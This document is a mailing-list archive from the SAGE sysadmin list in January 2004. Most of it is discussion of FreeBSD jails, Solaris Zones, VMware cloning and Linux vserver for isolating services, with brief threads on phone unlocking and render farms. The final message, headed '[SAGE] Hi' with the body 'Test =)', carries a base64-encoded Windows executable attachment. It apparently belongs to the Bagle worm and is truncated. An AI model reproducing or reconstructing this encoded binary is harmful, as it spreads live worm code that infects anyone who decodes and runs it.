In Solaris 10 you have Zones which are based on FreeBSD jails. You basically have one OS image and then you create a zone which you can boot in about 3 seconds. The zone is basically a chrooted bootable system that you can define devices for to mount other filesystems etc. Typically the the lib tree is mounted read only from the base OS. What Sun is doing with Solaris 10 is very interesting. You eventually will be able to download a build of Solaris 10 with Zones capability (Solaris Express), but I don't believe the current versions that are public have this capability yet. I have seen articles written about Zones, but I doubt you'll find much detailed information yet....however I have seen Zones demonsrated in engineering builds, so they are a reality. -Scott > >So far, all of this has been for BSD and Linux. Is there a similar >software-based (not talking about domains on SunFire systems, etc.) jail >concept for Solaris systems? > >A quick Google search only pointed to chroot solutions. Google groups >pointed out a product called papillion (http://www.roqe.org/papillon/), but >it doesn't work for root-level users. > >Thanks, >Wyatt > >-- >Wyatt Draggoo > > > -- ::::::::::::::::::::::::::::::::::::::::: Scott Burch Further Info: http://www.camberwind.com/ From sage-members-owner@usenix.org Sat Jan 17 13:44:18 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0HLiHNn024811 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Sat, 17 Jan 2004 13:44:18 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0HLiHPa024810 for sage-members-outgoing; Sat, 17 Jan 2004 13:44:17 -0800 (PST) From: Mason Schmitt To: "Dustin Puryear" Subject: Re: [SAGE] JAILS (Re: Respondents needed for article on sysadmin survival) Date: Sat, 17 Jan 2004 13:44:10 -0800 User-Agent: KMail/1.5.3 References: <20040117205441.2CF7334D26@watcher.puryear-it.com> In-Reply-To: <20040117205441.2CF7334D26@watcher.puryear-it.com> Cc: sage-members@usenix.org MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200401171344.10918.hr824@sunwave.net> X-Virus-Scanned: Scanned by Hermes (http://www.beyondtheweb.com/hermes) Sender: owner-sage-members@usenix.org Precedence: bulk On January 17, 2004 12:58 pm, Dustin Puryear wrote: > But can it be done even better? > > With virtual servers (however implemented) I can usually bring a "server" > up a lot faster (as opposed to a system--the hardware/OS), and I can run > several services/servers on the same piece of hardware even though each > service may normally interfere with one another (i.e., if each service > required a difference version of a system library or something, say if for > example one package wants mysql323-server while another wants > mysql40-server). > I am inclined to agree with you. I am very interested in this method of managing services especially with security in mind. By using any of the methods discussed, vmware, vserver (the one that I find most appealing), UML, Jails, and some appropriate measures to really seal that service inside its compartment, such as grsecurity or other mandatory access scheme, you should be able to have a base host that runs no services, except perhaps ssh, and is locked down very tightly. This also allows you to use the host to monitor the service, collect logs, watch for changes in file checksums, etc with far less concern for an attacker being able to get in under your nose. In terms of simplicity of management, I would think that one would be able to transport these encapsulated services around without much difficulty at all in order to move a service to a less loaded box or to a larger box to accommodate greater demands on the service. Mason From sage-members-owner@usenix.org Sat Jan 17 22:57:00 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0I6v0Nn028462 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Sat, 17 Jan 2004 22:57:00 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0I6v0iZ028461 for sage-members-outgoing; Sat, 17 Jan 2004 22:57:00 -0800 (PST) Date: Sat, 17 Jan 2004 22:55:55 -0800 To: Mason Schmitt Cc: adamm@menlo.com, sage-members@usenix.org Subject: Re: [SAGE] JAILS (Re: Respondents needed for article on sysadmin survival) Message-ID: <20040118065555.GA3129@mercury.starshine.org> References: <20040116232628.061384CE542@hexogen.explosive.net> <200401162130.02043.hr824@sunwave.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <200401162130.02043.hr824@sunwave.net> User-Agent: Mutt/1.5.4i From: jimd@starshine.org Sender: owner-sage-members@usenix.org Precedence: bulk On Fri, Jan 16, 2004 at 09:30:02PM -0800, Mason Schmitt wrote: > On January 16, 2004 03:26 pm, Adam S. Moskowitz wrote: >> "Dustin Puryear" wrote: >>> I wonder if anyone has tried to do a performance comparison of running >>> real-world services (i.e., a mail server with AV and spam filtering) >>> under a FreeBSD jail, user-mode Linux, and VMware. > Add to that list vserver. The project is somewhat fractured at the moment > but, in my opinion, is an excellent concept that is very light on system > resources and has some excellent security features while still being very > hardware independent thus easy to transport to other machines. > http://www.solucorp.qc.ca/miscprj/s_context.hc?prjstate=1&nodoc=0 > Mason More information (and more up-to-date) at: http://www.linux-vserver.org/ Does anyone here know if this project as overcome the "one IP address or sub-interface per zone" yet? There are a number of other projects that offer various levels of virtualization and jailing under Linux. For instance Medusa DS9 (http://medusa.fornax.sk/ ), has "virtual spaces" and RSBAC (http://www.rsbac.org/ ) has a "Jail" module that's supposed to implement something akin to FreeBSD jails. As for hardening old-fashioned chroot jails, most of the Linux kernel security patches like LIDS (http://www.lids.org/ ) and GRSecurity (http://www.grsecurity.net/ ) all have various features to facilitate root-safe chroot jails. For that matter it's possible just using lcap (Linux "capabilities") wrappers. The main things that VServer adds to these are patches that limit access to ifconfig functionality even by root (from inside any jail) and limit the /proc contents for each jail --- so process listings are isolated to the same jails (presumably the isolation goes deeper so root in a jail can't send signals to processes from other jails, by blindly guessing and PIDs). There's also some odd "init emulation" so each jail has a process with a simulated PID==1 and the ability to "shutdown" and "change runlevels" in each jail independently. Personally I'm not sure about the maturity of any of these approaches. But they're all interesting to read about, and eventually I'll try some more of them for more than a trivial hour of play. If I had a suitably tolerant colocation facility I'd love to have a set of machines each configured with different LIDS, GRSecurity, VServer, etc. patches --- and have them as "honeypot" challenges for a public game of "capture the flag." However, we'd have to make it "semi-public" and get them all to agree to some "no DoS" rules to prevent problems with the ISP's other customers. -- Jim Dennis From sage-members-owner@usenix.org Sat Jan 17 23:20:13 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0I7KDNn028949 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Sat, 17 Jan 2004 23:20:13 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0I7KDpd028948 for sage-members-outgoing; Sat, 17 Jan 2004 23:20:13 -0800 (PST) Date: Sat, 17 Jan 2004 23:20:12 -0800 From: Philip Brown To: sage-members@usenix.org Subject: Re: [SAGE] JAILS (Re: Respondents needed for article on sysadmin survival) Message-ID: <20040117232012.A392@bolthole.com> Reply-To: Philip Brown Mail-Followup-To: sage-members@usenix.org References: <400914D3.5090008@yoyoweb.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <400914D3.5090008@yoyoweb.com>; from thornton@yoyoweb.com on Sat, Jan 17, 2004 at 02:56:19AM -0800 Sender: owner-sage-members@usenix.org Precedence: bulk On Sat, Jan 17, 2004 at 02:56:19AM -0800, Thornton Prime wrote: > > Philip Brown wrote: > > you still have to essentially build out duplicate a "new" copy of the OS > > to run inside the virtual machine, one way or another. > > You only "save" on hardware setup. > > With both UML and VMWare you can suspend an existing system and clone > it. You can then restart the cloned instances separately and reconfigure > them. There is no need to re-install the operating environment. In fact, > you can clone systems with suspended running applications to maintain > application state. You save a heck of a lot more than hardware setup. > This can be a HUGE timesaver for platforms and applications that have > really complex and/or boorish install and setup procedures. are you saying that with VMware, you can PERMENANTLY 'clone' an existing instance, and then maintain the two completely separately from that point? dont you still have to duplicate the entire set of operating system binaries, configs, etc. and the "clone" process just makes that more convenient? From sage-members-owner@usenix.org Sat Jan 17 23:22:17 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0I7MGNn029208 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Sat, 17 Jan 2004 23:22:17 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0I7MGd8029204 for sage-members-outgoing; Sat, 17 Jan 2004 23:22:16 -0800 (PST) Date: Sat, 17 Jan 2004 23:22:15 -0800 From: Philip Brown To: sage-members@usenix.org Subject: Re: [SAGE] JAILS (Re: Respondents needed for article on sysadmin survival) Message-ID: <20040117232215.B392@bolthole.com> Reply-To: Philip Brown Mail-Followup-To: sage-members@usenix.org References: <20040117002446.A49090@bolthole.com> <20040117205441.2CF7334D26@watcher.puryear-it.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <20040117205441.2CF7334D26@watcher.puryear-it.com>; from dpuryear@usa.net on Sat, Jan 17, 2004 at 02:58:30PM -0600 Sender: owner-sage-members@usenix.org Precedence: bulk On Sat, Jan 17, 2004 at 02:58:30PM -0600, Dustin Puryear wrote: > > On Fri, Jan 16, 2004 at 12:07:06PM -0600, Dustin Puryear wrote: > > > ... > > > It's the same idea as VMware. You build a virtual machine and move it > > around > > > as needed instead of building "the machine". > > > > ??? > > > > you still have to essentially build out duplicate a "new" copy of the OS > > to run inside the virtual machine, one way or another. > > You only "save" on hardware setup. > > True and false. > > # mkdir /jails/mail.example.com I was referring to VMware, not jails. In other words, I was trying to point out the difference between vmware, and jails. You explicitly get to share certain components of the OS, with jails/zones. Whereas with VMware, they all run completely separately. That can be a win, or that can be a loss, depending on what your goals are, and how much you want to trust the jail. (and whether you want to run the SAME OS, or a slightly different version, across instances) From sage-members-owner@usenix.org Sat Jan 17 23:39:13 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0I7dDNn029784 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Sat, 17 Jan 2004 23:39:13 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0I7dDgA029783 for sage-members-outgoing; Sat, 17 Jan 2004 23:39:13 -0800 (PST) Subject: Re: [SAGE] JAILS (Re: Respondents needed for article on sysadmin survival) From: "Brandon S. Allbery KF8NH" To: Philip Brown Cc: sage-members@usenix.org In-Reply-To: <20040117232012.A392@bolthole.com> References: <400914D3.5090008@yoyoweb.com> <20040117232012.A392@bolthole.com> Content-Type: text/plain Message-Id: <1074411485.69551.6.camel@pyanfar.ece.cmu.edu> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.5 Date: Sun, 18 Jan 2004 02:38:06 -0500 Content-Transfer-Encoding: 7bit X-Spam-Status: No, hits=-38.8 required=5.0 tests=BAYES_01,EMAIL_ATTRIBUTION,IN_REP_TO,QUOTED_EMAIL_TEXT, REFERENCES,REPLY_WITH_QUOTES,USER_AGENT_XIMIAN autolearn=ham version=2.50 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.50 (1.173-2003-02-20-exp) Sender: owner-sage-members@usenix.org Precedence: bulk On Sun, 2004-01-18 at 02:20, Philip Brown wrote: > are you saying that with VMware, you can PERMENANTLY 'clone' an existing > instance, and then maintain the two completely separately from that point? Install a virtual machine, then shut down vmware (or that instance, for GSX/ESX). Copy its configuration (foo.cfg and virtual disks) elsewhere. You can now run this copy separately. You can repeat this as often as you want. We keep preinstalled Linux and WinXP virtual disk images sitting around to make "instant" VMware installations. (Another nifty trick is that you can run an instance in a mode where changes to its virtual disks are logged by vmware and you can choose to commit or rollback when you shut down the instance. I've used this to make testbeds.) -- brandon s. allbery [linux,solaris,freebsd,perl] allbery@kf8nh.com system administrator [WAY too many hats] allbery@ece.cmu.edu electrical and computer engineering, carnegie mellon univ. KF8NH From sage-members-owner@usenix.org Sun Jan 18 08:37:09 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0IGb9Nn005749 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Sun, 18 Jan 2004 08:37:09 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0IGb9dP005748 for sage-members-outgoing; Sun, 18 Jan 2004 08:37:09 -0800 (PST) From: "Dustin Puryear" To: Subject: RE: [SAGE] JAILS (Re: Respondents needed for article on sysadminsurvival) Date: Sun, 18 Jan 2004 10:40:44 -0600 MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Mailer: Microsoft Office Outlook, Build 11.0.5510 In-reply-to: <1074411485.69551.6.camel@pyanfar.ece.cmu.edu> X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2727.1300 Thread-Index: AcPdlwFpAZ03yobWQ0SHjU+/5YH0uQASh5tg Message-Id: <20040118163618.CAB6734D1E@watcher.puryear-it.com> X-Virus-Scanned: by amavisd-new Sender: owner-sage-members@usenix.org Precedence: bulk > On Sun, 2004-01-18 at 02:20, Philip Brown wrote: > > are you saying that with VMware, you can PERMENANTLY 'clone' an existing > > instance, and then maintain the two completely separately from that > point? > > Install a virtual machine, then shut down vmware (or that instance, for > GSX/ESX). > Copy its configuration (foo.cfg and virtual disks) elsewhere. > You can now run this copy separately. > You can repeat this as often as you want. > We keep preinstalled Linux and WinXP virtual disk images sitting around > to make "instant" VMware installations. Yup. I know of a local data center that sells "virtual servers" using VMware. They setup pre-made servers, such as an Apache or IIS web server, and when they get a new client they just untar the package and run it under VMware on a machine supporting several other clients with root access to their own virtual machines. So it takes them probably around 30 seconds to bring a new server online that they then charge monthly for. That's a good server management technique. From sage-members-owner@usenix.org Sun Jan 18 09:00:16 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0IH0GNn006245 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Sun, 18 Jan 2004 09:00:16 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0IH0Gpl006243 for sage-members-outgoing; Sun, 18 Jan 2004 09:00:16 -0800 (PST) Message-ID: <400ABB04.2020809@yoyoweb.com> Date: Sun, 18 Jan 2004 08:57:40 -0800 From: Thornton Prime User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4.1) Gecko/20031114 X-Accept-Language: en-us, en MIME-Version: 1.0 To: sage-members@usenix.org Subject: Re: [SAGE] JAILS (Re: Respondents needed for article on sysadmin survival) References: <400914D3.5090008@yoyoweb.com> <20040117232012.A392@bolthole.com> In-Reply-To: <20040117232012.A392@bolthole.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-sage-members@usenix.org Precedence: bulk Philip Brown wrote: > are you saying that with VMware, you can PERMENANTLY 'clone' an existing > instance, and then maintain the two completely separately from that point? Absolutely. Not only can you clone your operating system, binaries, disk partitions, and hardware configurations (down to the BIOS settings), you can suspend and clone a RUNNING system -- you can clone the complete system state including what is in RAM. As someone else mentioned, you can also take system snapshots of a running system, then set up an undo log so you can later roll the system back to your snapshot. This is great when you are trying to identify the exact point of failure in a system. Does anyone know if the VMWare "undoable" configurations can share a common set of initial state files? UML lets you do it with the copy-on-write option, so you can provision out a new instance off a shared configuration instantaneously. (I guess you could do the same thing with a jail if your jail was running on some sort of an overlay filesystem.) p.s. At USENIX'03 there were a few good talks on using VMWare or other "container" technologies for configuration management and system instance provisioning. Lots of good ideas in there. thornton From sage-members-owner@usenix.org Sun Jan 18 09:32:59 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0IHWxNn006803 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Sun, 18 Jan 2004 09:32:59 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0IHWxaB006802 for sage-members-outgoing; Sun, 18 Jan 2004 09:32:59 -0800 (PST) Subject: Re: [SAGE] JAILS (Re: Respondents needed for article on sysadmin survival) From: "Brandon S. Allbery KF8NH" To: Thornton Prime Cc: sage-members@usenix.org In-Reply-To: <400ABB04.2020809@yoyoweb.com> References: <400914D3.5090008@yoyoweb.com> <20040117232012.A392@bolthole.com> <400ABB04.2020809@yoyoweb.com> Content-Type: text/plain Message-Id: <1074447107.73252.3.camel@pyanfar.ece.cmu.edu> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.5 Date: Sun, 18 Jan 2004 12:31:48 -0500 Content-Transfer-Encoding: 7bit X-Spam-Status: No, hits=-38.8 required=5.0 tests=BAYES_01,EMAIL_ATTRIBUTION,IN_REP_TO,QUOTED_EMAIL_TEXT, REFERENCES,REPLY_WITH_QUOTES,USER_AGENT_XIMIAN autolearn=ham version=2.50 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.50 (1.173-2003-02-20-exp) Sender: owner-sage-members@usenix.org Precedence: bulk On Sun, 2004-01-18 at 11:57, Thornton Prime wrote: > Does anyone know if the VMWare "undoable" configurations can share a > common set of initial state files? UML lets you do it with the > copy-on-write option, so you can provision out a new instance off a > shared configuration instantaneously. (I guess you could do the same > thing with a jail if your jail was running on some sort of an overlay > filesystem.) vmware locks the virtual disks when they're in use, even when using an undo log, so no. (Or at least 2.x did; someday I'll get my freebsd stuff moved to -CURRENT so I can be only one version behind :/) -- brandon s. allbery [linux,solaris,freebsd,perl] allbery@kf8nh.com system administrator [WAY too many hats] allbery@ece.cmu.edu electrical and computer engineering, carnegie mellon univ. KF8NH From sage-members-owner@usenix.org Sun Jan 18 14:44:30 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0IMhWNn009605 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Sun, 18 Jan 2004 14:43:32 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0IMhWxu009604 for sage-members-outgoing; Sun, 18 Jan 2004 14:43:32 -0800 (PST) From: Elie Rosenblum Date: Sun, 18 Jan 2004 17:39:39 -0500 To: Brad Knowles Cc: Fuat Baran , Daniel Rich , Phil Pennock , sage-members@sage.org Subject: Re: [SAGE] ATT Phones Message-ID: <20040118223939.GA7295@cosanostra.net> References: <20031231051238.GB22470@snew.com> <81C94CA3-3BB7-11D8-9984-000A95C4CFFE@employees.org> <20040102231733.GC3311@globnix.org> <5A5B6B7C-4086-11D8-9A11-000A95822A5A@columbia.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.4i Sender: owner-sage-members@usenix.org Precedence: bulk On Tue, Jan 06, 2004 at 10:45:03PM +0100, Brad Knowles wrote: > > T-Mobile told me they would unlock mine. But when I called, I ended > > up talking to someone at the call centre who didn't understand me. > > Since I didn't have a burning need, I didn't pursue. > > I'm sure they made a point of not understanding you. They > probably don't understand any of their clients who call up asking for > this service. I found my unlock code online, but when I called to talk to them about international roaming, they understood the concept of sim unlock codes and were willing to get me one. They couldn't just do it over the phone though - they would have to take my information and forward it to some other group, or the manufacturer, and get back to me. I didn't pursue it since my phone was easy to unlock without their help (s105.com). So, if they don't know what you were talking about, and you want the code, either escalate to their manager or talk to someone else. Someone should be able to help you. T-mobile is happy to give out the codes, unlike many providers. -- Elie Rosenblum That is not dead which can eternal lie, http://www.cosanostra.net And with strange aeons even death may die. Admin / Mercenary / System Programmer - _The Necronomicon_ From sage-members-owner@usenix.org Sun Jan 18 15:59:12 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0INxCNn010474 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Sun, 18 Jan 2004 15:59:12 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0INxCGl010473 for sage-members-outgoing; Sun, 18 Jan 2004 15:59:12 -0800 (PST) Date: Sun, 18 Jan 2004 15:59:09 -0800 From: Philip Brown To: sage-members@usenix.org Subject: Re: [SAGE] JAILS (Re: Respondents needed for article on sysadmin survival) Message-ID: <20040118155909.A34279@bolthole.com> Reply-To: Philip Brown Mail-Followup-To: sage-members@usenix.org References: <400914D3.5090008@yoyoweb.com> <20040117232012.A392@bolthole.com> <1074411485.69551.6.camel@pyanfar.ece.cmu.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <1074411485.69551.6.camel@pyanfar.ece.cmu.edu>; from allbery@ece.cmu.edu on Sun, Jan 18, 2004 at 02:38:06AM -0500 Sender: owner-sage-members@usenix.org Precedence: bulk On Sun, Jan 18, 2004 at 02:38:06AM -0500, Brandon S. Allbery KF8NH wrote: > On Sun, 2004-01-18 at 02:20, Philip Brown wrote: > > are you saying that with VMware, you can PERMENANTLY 'clone' an existing > > instance, and then maintain the two completely separately from that point? > > Install a virtual machine, then shut down vmware (or that instance, for > GSX/ESX). > Copy its configuration (foo.cfg and virtual disks) elsewhere. so, conceptually, and disk space wise, identical to just taking a system snapshot of a normal system (eg flash archive), and installing to another system. For same-system images, the difference with vmware vs other methods being that you're using double memory and disk space for everything, whereas with jails or zones, you get to have some amount of sharing for OS binaries, and core kernel driver memory From sage-members-owner@usenix.org Sun Jan 18 16:25:06 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0J0P6Nn011015 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Sun, 18 Jan 2004 16:25:06 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0J0P5ud011014 for sage-members-outgoing; Sun, 18 Jan 2004 16:25:06 -0800 (PST) Subject: Re: [SAGE] JAILS (Re: Respondents needed for article on sysadmin survival) From: "Brandon S. Allbery KF8NH" To: Philip Brown Cc: sage-members@usenix.org In-Reply-To: <20040118155909.A34279@bolthole.com> References: <400914D3.5090008@yoyoweb.com> <20040117232012.A392@bolthole.com> <1074411485.69551.6.camel@pyanfar.ece.cmu.edu> <20040118155909.A34279@bolthole.com> Content-Type: text/plain Message-Id: <1074471837.73993.11.camel@pyanfar.ece.cmu.edu> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.5 Date: Sun, 18 Jan 2004 19:23:57 -0500 Content-Transfer-Encoding: 7bit X-Spam-Status: No, hits=-38.8 required=5.0 tests=BAYES_01,EMAIL_ATTRIBUTION,IN_REP_TO,QUOTED_EMAIL_TEXT, REFERENCES,REPLY_WITH_QUOTES,USER_AGENT_XIMIAN autolearn=ham version=2.50 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.50 (1.173-2003-02-20-exp) Sender: owner-sage-members@usenix.org Precedence: bulk On Sun, 2004-01-18 at 18:59, Philip Brown wrote: > so, conceptually, and disk space wise, identical to just taking a system > snapshot of a normal system (eg flash archive), and installing to another > system. True, except that it's a bit faster. > For same-system images, the difference with vmware vs other methods being > that you're using double memory and disk space for everything, whereas with > jails or zones, you get to have some amount of sharing for OS binaries, and > core kernel driver memory Yes. On the flip side, though, you have better isolation of the subsystem; enough that the subsystem need not have anything in common with the host other than running the same CPU. Depending on what you're doing, you may be willing to pay the price of vmware's higher overhead in order to be able to e.g. run a FreeBSD (or Windows, etc.) guest on a Linux host, or run potentially insecure services with lower risk to the host than with jails. (See "or Windows" :) And consider that either the undo log or copying in a pristine disk image gives you a convenient way to restore such a machine to a known-"clean" state, and the latter lets you examine a compromised guest vm while it's disconnected from the network (or completely offline; you can mount a vmware virtual disk image on Linux). -- brandon s. allbery [linux,solaris,freebsd,perl] allbery@kf8nh.com system administrator [WAY too many hats] allbery@ece.cmu.edu electrical and computer engineering, carnegie mellon univ. KF8NH From sage-members-owner@usenix.org Sun Jan 18 18:52:32 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0J2qWNn012291 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Sun, 18 Jan 2004 18:52:32 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0J2qWCM012290 for sage-members-outgoing; Sun, 18 Jan 2004 18:52:32 -0800 (PST) Date: Sun, 18 Jan 2004 18:52:30 -0800 From: Benjamin Feen To: sage-members@usenix.org Subject: [SAGE] Graphics shop sysadmin/engineering resources? Message-ID: <20040119025230.GC11589@ratchet.nebcorp.com> Reply-To: Benjamin Feen Mail-Followup-To: Benjamin Feen , sage-members@usenix.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.4i Sender: owner-sage-members@usenix.org Precedence: bulk Hiya, I'm looking for resources about systems engineering and administration in high-end film/graphics production. Especially useful would be information and discussions about the details of render farm architecture and management, performance tuning, job distribution, etc. Any pointers? Thanks! -- Benjamin Feen benjamin(AT)feen.com http://www.monkeybagel.com From sage-members-owner@usenix.org Mon Jan 19 07:18:22 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0JFILNn020878 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Mon, 19 Jan 2004 07:18:21 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0JFILhP020877 for sage-members-outgoing; Mon, 19 Jan 2004 07:18:21 -0800 (PST) Date: Mon, 19 Jan 2004 17:16:14 +0200 To: sage-members@sage.org Subject: [SAGE] Hi From: trey@sage.org Message-ID: MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="--------754088041474683" Sender: owner-sage-members@usenix.org Precedence: bulk ----------754088041474683 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Test =) shgfeasrbdurufm -- Test, yep. ----------754088041474683 Content-Type: application/x-msdownload; name="tstolhwfmw.exe" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="gpnxkqvnmll.exe" TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAyAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4g RE9TIG1vZGUuDQ0KJAAAAAAAAADchu8bmOeBSJjngUiY54FImOeBSJvngUgW+JJIxeeBSGTH k0iZ54FIX+GHSJnngUhSaWNomOeBSAAAAAAAAAAAAAAAAAAAAABQRQAATAEEAN9uCkAAAAAA AAAAAOAADwELAQUMACQAAABCAAAAAAAAijEAAAAQAAAAQAAAAABAAAAQAAAAAgAABAAAAAAA AAAEAAAAAAAAAACgAAAABAAAOScBAAIAAAAAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAA AAAAADhBAADIAAAAAJAAAKADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAOAEAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAGJlYWdsZQAAhiMAAAAQAAAAJAAAAAQAAAAAAAAAAAAAAAAAACAA AGAucmRhdGEAANQHAAAAQAAAAAgAAAAoAAAAAAAAAAAAAAAAAABAAABALmRhdGEAAABONQAA AFAAAAAKAAAAMAAAAAAAAAAAAAAAAAAAQAAAwC5yc3JjAAAAoAMAAACQAAAABAAAADoAAAAA AAAAAAAAAAAAAEAAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFWL 7Ff8i30Ii00MwekCM8DjAvOri00Mg+ED4wLzql/JwggAVYvsV1OLXQyLfQhqGeh1AgAAg8Bh /KpLdfFbX8nCCABVi+xXU4tdDIt9CGoJ6FUCAACDwDD8qkt18VtfycIIAFWL7IPE/FP/dQjo WiIAAIvY/3UQ6FAiAAAD2IPDEFNqQOjpIQAAiUX8/3UM/3UI6KciAAALwHQzxgAAi9j/dQzo JCIAAAPY/3UI/3X86BEiAAD/dRD/dfzo+iEAAFP/dfzo8SEAAItF/OsK/3X86KIhAAAzwFvJ wgwAVYvsg8T8VldTx0X8AAAAAIt1CIt9DItNEDPAM9usweAI4gfB4AhDQ+sLrMHgCOIDQ+sC 